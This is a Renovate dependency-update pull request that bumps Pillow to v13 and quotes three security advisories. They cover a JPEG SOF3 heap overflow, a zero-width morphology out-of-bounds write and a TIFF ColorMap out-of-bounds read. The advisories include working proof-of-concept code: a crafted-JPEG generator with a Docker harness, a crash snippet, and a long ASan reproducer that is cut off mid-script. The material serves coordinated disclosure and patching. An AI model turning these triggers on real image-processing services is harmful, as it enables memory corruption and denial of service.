Skip to content

fix(deps, pyamber): update dependency pillow to v13 - #9065

Open
renovate-bot wants to merge 1 commit into
apache:mainfrom
renovate-bot:renovate/pypi-pillow-vulnerability
Open

renovate-bot wants to merge 1 commit into
apache:mainfrom
renovate-bot:renovate/pypi-pillow-vulnerability

Conversation

@renovate-bot

@renovate-bot renovate-bot commented Oct 21, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
pillow (changelog) ==12.3.0 → ==13.0.0 age confidence

Pillow: Heap buffer overflow in ImagingJpegDecode

CVE-2026-112403 / GHSA-8g5g-8vmr-9782

More information

Details

Summary

JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self._size and the tile extents to match, so _setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scale_num/scale_denom, calls jpeg_start_decompress(), and then reads scanlines into that buffer without ever comparing cinfo.output_width, cinfo.output_height or cinfo.out_color_components against state->xsize, state->ysize and state->bits.

libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scale_denom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpeg_read_scanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.

The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.

Affected code

At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):

  • src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpeg_start_decompress() at :240, jpeg_read_scanlines() at :252, with no geometry check between them.
  • src/decode.c:222-231 — _setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits * state->xsize + 7) / 8.
  • src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks _size, the tile extents and decoderconfig with no notion of lossless coding.
  • src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).
// src/libImaging/JpegDecode.c
            if (context->scale > 1) {
                context->cinfo.scale_num = 1;
                context->cinfo.scale_denom = context->scale;
            }
            ...
        case 2:
            if (!jpeg_start_decompress(&context->cinfo)) {
                break;
            }
            state->state++;
            /* fall through */
        case 3:
            ok = 1;
            while (state->y < state->ysize) {
                ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);

Because state->ysize (ceil(H/s)) can never equal libjpeg's output_height when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.

Primitive

Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.

Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.

Threshold: draft() must select s >= 2, i.e. W // requested_w >= 2 and H // requested_h >= 2. For thumbnail((256,256)) with the default reducing_gap=2.0 that means W, H >= 1024.

Reproduction

Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGET_COMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, make_sof3.py and trigger.py in an empty directory, then:

docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob

make_sof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.

Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
        wget gnupg lsb-release software-properties-common \
        python3 python3-dev python3-pip python3-venv zlib1g-dev \
    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
    && rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

##### --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
    && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
        -DCMAKE_C_COMPILER=clang-20 \
        -DCMAKE_C_FLAGS="$CFLAGS" \
        -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
    && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

##### --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
    && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
    && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
       /venv/bin/pip install --no-build-isolation --no-deps . \
    && ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
    && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
       /venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"

COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]
make_sof3.py
#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys

W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD"  # attacker-chosen bytes that land past the buffer

class BitWriter:
    def __init__(self):
        self.out = bytearray()
        self.acc = 0
        self.n = 0

    def put(self, value, nbits):
        for i in range(nbits - 1, -1, -1):
            self.acc = (self.acc << 1) | ((value >> i) & 1)
            self.n += 1
            if self.n == 8:
                self.out.append(self.acc)
                if self.acc == 0xFF:
                    self.out.append(0x00)  # byte stuffing
                self.acc = 0
                self.n = 0

    def flush(self):
        while self.n:
            self.put(1, 1)
        return bytes(self.out)

##### Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}

def category(d):
    if d == 0:
        return 0
    return abs(d).bit_length()

def build_pixels():
    rows = []
    for y in range(H):
        row = bytearray()
        while len(row) < W:
            row += MARKER
        rows.append(bytes(row[:W]))
    return rows

def main(path):
    rows = build_pixels()
    bw = BitWriter()
    prev = None
    for y in range(H):
        row = rows[y]
        for x in range(W):
            s = row[x]
            if y == 0 and x == 0:
                pred = 1 << 7          # 2^(P-1-Pt)
            elif x == 0:
                pred = prev[0]         # Rb for first sample of a line
            else:
                pred = row[x - 1]      # Ra, predictor 1
            d = (s - pred) & 0xFFFF
            if d >= 0x8000:
                d -= 0x10000
            ssss = category(d)
            code, length = CODES[ssss]
            bw.put(code, length)
            if ssss:
                v = d if d > 0 else d + (1 << ssss) - 1
                bw.put(v & ((1 << ssss) - 1), ssss)
        prev = row
    entropy = bw.flush()

    out = bytearray()
    out += b"\xff\xd8"                                        # SOI
    # DHT: class 0 (DC/lossless), table id 0
    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
    out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
    # SOF3: lossless, Huffman, sequential
    sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
    out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
    sos = bytes([1, 1, 0x00, 1, 0, 0])
    out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
    out += entropy
    out += b"\xff\xd9"                                        # EOI
    with open(path, "wb") as f:
        f.write(bytes(out))
    print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")

if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")
trigger.py
import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
    im.thumbnail((256, 256))
    print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
    print("exception: %r" % (e,), flush=True)

Validated output:

Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
    #&#8203;0 __asan_memcpy
    #&#8203;1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
    #&#8203;2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
    #&#8203;3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
    #&#8203;4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
    #&#8203;5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
    #&#8203;6 _decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
    #&#8203;0 calloc
    #&#8203;1 _setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.

control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report
Scope and caveats
  • Reproduced on main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0.
  • Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.
  • No non-default Pillow configuration is involved: Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data.
  • Only paths that use draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducing_gap=None), avoids the path in an application today.
  • Not affected on the same code path: SOF11 (arithmetic lossless) fails with JERR_ARITH_NOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERR_SOF_UNSUPPORTED.
Credit and disclosure

Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.

This report follows Anthropic's coordinated vulnerability disclosure policy
(https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day
disclosure window from the date of this report.

Credit goes to Claude (Anthropic) and Ada Logics.

Severity

  • CVSS Score: 9.2 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow: Out-of-bounds access in _imagingmorph on a zero-width image

CVE-2026-112397 / GHSA-58r4-6rv3-gfh8

More information

Details

Summary

A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size (0, N). Passing that image to ImageMorph.MorphOp.apply() makes the native morphology code index a row buffer at outrow[width - 1], which is outrow[-1] when the width is 0. The process crashes.

Details

The PPM parser reads width and height with no lower-bound check:

  • src/PIL/PpmImagePlugin.py:119

The native apply() writes the row edges with no guard that the width is positive:

  • src/_imagingmorph.c:81 sets outrow[0] = outrow[width - 1] = 0;

match() and get_on_pixels() use the same edge-indexing pattern.

PoC
from PIL import Image, ImageMorph

##### A width-0 image (also producible from a crafted PPM header). apply() indexes

##### outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)

Run it:

$ python 03_poc.py
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96.

Under AddressSanitizer:

==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
    #&#8203;0 apply   src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply

With width 0 the outrow[width - 1] write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.

Impact

Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read

CVE-2026-112896 / GHSA-pchr-8j38-3x4p

More information

Details

Summary

A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with 768 SHORT values: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.

Pillow's TIFF encoder allocates 768 × 2 = 1536 bytes, then passes three plane pointers separated by 256 SHORT entries to libtiff. With BitsPerSample = 16, libtiff instead expects 65536 SHORT values per plane and attempts a 131072-byte read from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in PyImaging_LibTiffEncoderNew.

The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required.

Impact and prerequisites

An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, not demonstrated by extracting arbitrary heap contents in this report. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed.

The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output.

Tested environment and limits of the evidence

The existing observations were recorded on August 30, 2026, with CPython 3.11.8 on macOS ARM64, using the unmodified official Pillow 12.3.0 wheel and its bundled libtiff 4.7.1:

  • Wheel: pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl
  • Wheel size: 4785266 bytes
  • Wheel SHA-256: 37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6
  • Pillow source revision: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d
  • Bundled libtiff SHA-256: e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1

Apple's ASAN runtime was injected at process startup. This is not an ASAN-rebuilt Pillow wheel; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented.

Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is Unknown; no CVSS score is proposed.

Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. That was not a complete Pillow 8.0.1 installation and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.

Observed evidence and controls

The earlier integration harness performed the natural sequence Image.open(BytesIO(input)), image.load(), then image.save(BytesIO(), format="TIFF"), without replacing the image's metadata. Each case was recorded three times:

Original fixture Bytes Recorded result
colormap16 1685 Loaded as I;16; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3).
colormap8 1684 Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3).
colormap_absent 137 Same 16-bit geometry without ColorMap; save succeeded (3/3).

Address-free summary of the recorded native diagnostic:

AddressSanitizer: heap-buffer-overflow
READ of size 131072
0 bytes after 1536-byte region
Copy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt
           -> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField
           -> PyImaging_LibTiffEncoderNew
Allocation: calloc -> PyImaging_LibTiffEncoderNew

Input SHA-256 values (also enforced inside the script):

  • colormap16: 5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d
  • colormap8: fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c
  • colormap_absent: bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556
Root cause and source references

The reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer.

Prior art and disclosure scope

Pillow PR #​5148, merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persistent literal "CustomField". That is a different field-name-lifetime fix, not this plane-size mismatch. The reviewed material does not establish an exact prior public report or fix for this root, and novelty is not asserted. This specific report remains NOT_SENT; association with other observations is not a prior disclosure of it.

Reproduction instructions

Use an already reviewed, existing installation of the exact wheel above, an existing compatible macOS ARM64 CPython 3.11 interpreter, and an existing compatible Apple ASAN runtime. --package-path is the absolute directory containing PIL, not the PIL directory itself. The script does not install, download, build, patch, or submit anything. It checks selected key package files against the original installation's hashes and checks the loaded package/version; these checks are not a full installation attestation.

Save the complete Python block below as reproduce.py and run:

python3.11 -I -S -B reproduce.py \
  --package-path /absolute/path/to/reviewed/site-packages \
  --asan-runtime /absolute/path/to/reviewed/libclang_rt.asan_osx_dynamic.dylib

Both arguments are required. The runtime must be loaded at child startup, not by late dlopen. Each child resolves __asan_init, __asan_address_is_poisoned, and __asan_region_is_poisoned in its actual process symbol table before importing Pillow or opening a fixture. Merely setting DYLD_INSERT_LIBRARIES is not accepted as proof of ASAN availability. A missing symbol or package mismatch prevents the operation.

Each of the three cases runs once in a separate child with a 30-second wall limit, 10-second hard CPU limit, core dumps disabled, and 1 MiB regular-file-size limit. The parent supplies a clean allowlisted environment, isolated Python startup (-I -S -B), an empty temporary working directory, no stdin, and a 128 KiB combined pipe-output cap. Timeout/output-cap handling kills the child's process group. These limits are containment measures, not a security sandbox. No TIFF is written to disk. Temporary directories are removed; raw diagnostics are never forwarded or persisted.

The compressed/base64 constants below are the unchanged original benign TIFF fixtures, with decompressed size and SHA-256 checks. There are no external fixture dependencies. The standalone script supplied with this description is byte-for-byte the same as this block.

Separate August 31, 2026 inline validation: the exact embedded standalone script passed all three fixed cases: one ASan READ of 131,072 bytes crossing a 1,536-byte allocation and two passing controls. Child guards and limits passed, with no timeout. This is additional bounded evidence, separate from earlier runs; no new build, install, full historical chain or older-version integration replay was performed.

Expected results from the standalone script

Cases run in order: colormap8, colormap_absent, colormap16. Every printed line should have guard_passed: true, within_limits: true, and expected_observation: true. The first two require successful saves and the expected retained sample-depth/ColorMap fields. The last requires ASAN exit 86 and the specific READ/extent/stack signatures, not merely any crash. Only the two controls inspect encoded metadata; the unsafe case never exports an encoded TIFF.

The parent exits 0 only if all three expectations match; 1 means a case did not match (including guard failure or a changed ASAN diagnostic), and 2 means parent setup failed. A failed guard, timeout, unrelated crash, or missing diagnostic is inconclusive, not evidence that the defect is absent. Do not bypass the ASAN guard to obtain an output TIFF.

Complete standalone reproducer
import argparse
import base64
import ctypes
import hashlib
import io
import json
import os
from pathlib import Path
import platform
import resource
import selectors
import struct
import subprocess
import sys
import tempfile
import time
import zlib

FIXTURES = {'colormap8': [1684,
               'fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c',
               'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymQaqYoWzWBgYGNigbhAWh6iexMTCIIomLIZkjDmUzAbEMkhoHIJsBiCYxjIJRMApGwSgY2QAAPu0DiA=='],
 'colormap_absent': [137,
                     'bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556',
                     'eNrz9NRi4GBgYOBiYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqr4NiEWRxMWQzBGHspmBWAZJDQOEBgDj8wKm'],
 'colormap16': [1685,
                '5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d',
                'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqn4SGwODKJK4GJI54lA2MxDLIKlxALJBgpMYRsEoGAWjYBSMZACsEwB78wOS']}
PACKAGE_PINS = {'PIL/ImageFile.py': '983c4f35e0c51046d4c636998ec77000cd2da208870a03b205e104cd0b2df629',
 'PIL/_version.py': 'fe7d75d4019326aca24ae57d4ab190cd62ba1225b175051119cd61cd87e42b1d',
 'PIL/__init__.py': '7361b6ad3878589affe5956e4a4da24d71398b0891fd3a8c15e9362217b4ca01',
 'PIL/features.py': '14f904863b416914aaa6480735876ec31885b7272ee0d8d92b010c5b1b5e98f5',
 'PIL/TiffTags.py': '766dea350424b9a2caab3513be794689403c2b7222cd038006f69cff08edb45d',
 'PIL/TiffImagePlugin.py': '440b2a3a80b280d18cda3fc70d9fd206e2fa44e9897c9550f70b51395047b273',
 'PIL/_imaging.cpython-311-darwin.so': '6d09b1fb925779fff32b5b8a4c348a42c201d350d0e0fd8cdc00410b6779e596',
 'PIL/Image.py': '04af3f2db7ffdd61e829fa7aa8f5481d394a0a4129a8fd8aa5b13908928fcd6d',
 'PIL/.dylibs/libtiff.6.dylib': 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1',
 'pillow-12.3.0.dist-info/WHEEL': 'de2586b77651a8bf1b7778c3609979713ebc901784a837fca80ed4969fc82e57',
 'pillow-12.3.0.dist-info/METADATA': '8fc07146cab33ef7582361dab6eac596d340b03ec648f18217da7894f73838c8'}
CASES = tuple(FIXTURES)
WALL_SECONDS = 30
FILE_LIMIT = 1024 * 1024
PIPE_LIMIT = 128 * 1024

def limits():
    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
    resource.setrlimit(resource.RLIMIT_CPU, (10, 10))
    resource.setrlimit(resource.RLIMIT_FSIZE, (FILE_LIMIT, FILE_LIMIT))

def fixture(case):
    size, expected_hash, encoded = FIXTURES[case]
    decoder = zlib.decompressobj()
    data = decoder.decompress(base64.b64decode(encoded, validate=True), size + 1)
    if (len(data) != size or not decoder.eof or decoder.unused_data
            or decoder.unconsumed_tail
            or hashlib.sha256(data).hexdigest() != expected_hash):
        raise ValueError("fixture integrity check failed")
    return data

def field(data, wanted):
    if len(data) < 8 or data[:4] not in (b"II*\0", b"MM\0*"):
        raise ValueError("not classic TIFF")
    endian = "<" if data[:2] == b"II" else ">"
    directory = struct.unpack_from(endian + "I", data, 4)[0]
    count = struct.unpack_from(endian + "H", data, directory)[0]
    if directory + 2 + count * 12 + 4 > len(data):
        raise ValueError("truncated directory")
    for number in range(count):
        offset = directory + 2 + number * 12
        tag, kind, length = struct.unpack_from(endian + "HHI", data, offset)
        if tag != wanted:
            continue
        size = {1: 1, 2: 1, 3: 2, 4: 4, 7: 1}[kind] * length
        start = offset + 8 if size <= 4 else struct.unpack_from(endian + "I", data, offset + 8)[0]
        if start + size > len(data):
            raise ValueError("truncated field")
        return kind, length, data[start:start + size], endian
    return None

def checked_image_module(package):
    if (sys.implementation.name != "cpython" or sys.version_info[:2] != (3, 11)
            or sys.platform != "darwin" or platform.machine() != "arm64"):
        raise RuntimeError("requires macOS ARM64 CPython 3.11")
    for relative, expected in PACKAGE_PINS.items():
        path = (package / relative).resolve(strict=True)
        if not path.is_relative_to(package) or hashlib.sha256(path.read_bytes()).hexdigest() != expected:
            raise RuntimeError("reviewed wheel file mismatch")
    process_symbols = ctypes.CDLL(None)
    for symbol in ("__asan_init", "__asan_address_is_poisoned", "__asan_region_is_poisoned"):
        getattr(process_symbols, symbol)
    sys.path.insert(0, str(package))
    from PIL import Image, features
    if (Image.__version__ != "12.3.0" or features.version("libtiff") != "4.7.1"
            or Path(Image.__file__).resolve() != package / "PIL/Image.py"
            or Path(Image.core.__file__).resolve() != package / "PIL/_imaging.cpython-311-darwin.so"):
        raise RuntimeError("unexpected Pillow or libtiff")
    return Image

def emit(descriptor, message):
    os.write(descriptor, (json.dumps(message, sort_keys=True) + "\n").encode("ascii"))

def child(case, package):
    descriptor = os.dup(1)
    with open(os.devnull, "wb") as quiet:
        os.dup2(quiet.fileno(), 1)
    try:
        image_module = checked_image_module(package)
        data = fixture(case)
        with image_module.open(io.BytesIO(data)) as image:
            image.load()
            if image.size != (1, 1) or image.info.get("compression") != "packbits":
                raise ValueError("unexpected input geometry")
            bits = 8 if case == "colormap8" else 16
            if image.tag_v2[258] != (bits,):
                raise ValueError("unexpected sample width")
            if case == "colormap_absent":
                if 320 in image.tag_v2:
                    raise ValueError("unexpected ColorMap")
            elif image.tag_v2[320] != (0,) * 768:
                raise ValueError("unexpected ColorMap planes")
            emit(descriptor, {"ready": True})
            with io.BytesIO() as output:
                image.save(output, format="TIFF")
                if case == "colormap16":
                    emit(descriptor, {"unsafe_save_returned": True})
                    return 1
                encoded = output.getvalue()
                saved_bits = field(encoded, 258)
                map_field = field(encoded, 320)
                bits_preserved = (saved_bits is not None and saved_bits[:2] == (3, 1)
                                  and struct.unpack(saved_bits[3] + "H", saved_bits[2])[0] == bits)
                map_preserved = (map_field is None if case == "colormap_absent"
                                 else map_field is not None and map_field[:2] == (3, 768)
                                 and map_field[2] == bytes(1536))
                emit(descriptor, {"control_passed": bool(bits_preserved and map_preserved)})
        return 0
    except Exception:
        emit(descriptor, {"child_failed": True})
        return 2
    finally:
        os.close(descriptor)

def run_case(case, package, runtime):
    with tempfile.TemporaryDirectory(prefix="pillow-check-") as temporary:
        environment = {
            "PATH": "/usr/bin:/bin:/usr/sbin:/sbin",
            "HOME": temporary,
            "TMPDIR": temporary,
            "LC_ALL": "C",
            "DYLD_INSERT_LIBRARIES": str(runtime),
            "ASAN_OPTIONS": "detect_leaks=0:halt_on_error=1:abort_on_error=0:exitcode=86:"
                            "disable_coredump=1:symbolize=1:malloc_fill_byte=165:"
                            "max_malloc_fill_size=1048576:log_path=stderr",
        }
        command = [sys.executable, "-I", "-S", "-B", str(Path(__file__).resolve()),
                   "--package-path", str(package), "--asan-runtime", str(runtime), "--child", case]
        output = bytearray()
        diagnostics = bytearray()
        deadline = time.monotonic() + WALL_SECONDS
        with subprocess.Popen(command, cwd=temporary, env=environment, stdin=subprocess.DEVNULL,
                              stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                              preexec_fn=limits, start_new_session=True) as process:
            bounded = True
            try:
                with selectors.DefaultSelector() as selector:
                    selector.register(process.stdout, selectors.EVENT_READ, output)
                    selector.register(process.stderr, selectors.EVENT_READ, diagnostics)
                    while selector.get_map():
                        remaining = deadline - time.monotonic()
                        if remaining <= 0:
                            raise TimeoutError
                        for key, events in selector.select(min(remaining, 0.25)):
                            chunk = os.read(key.fileobj.fileno(), 8192)
                            if not chunk:
                                selector.unregister(key.fileobj)
                            else:
                                key.data.extend(chunk)
                                if len(output) + len(diagnostics) > PIPE_LIMIT:
                                    raise BufferError
                    process.wait(timeout=max(0.001, deadline - time.monotonic()))
            except (TimeoutError, BufferError, subprocess.TimeoutExpired):
                bounded = False
                try:
                    os.killpg(process.pid, 9)
                except ProcessLookupError:
                    pass
                process.wait()
            status = process.returncode
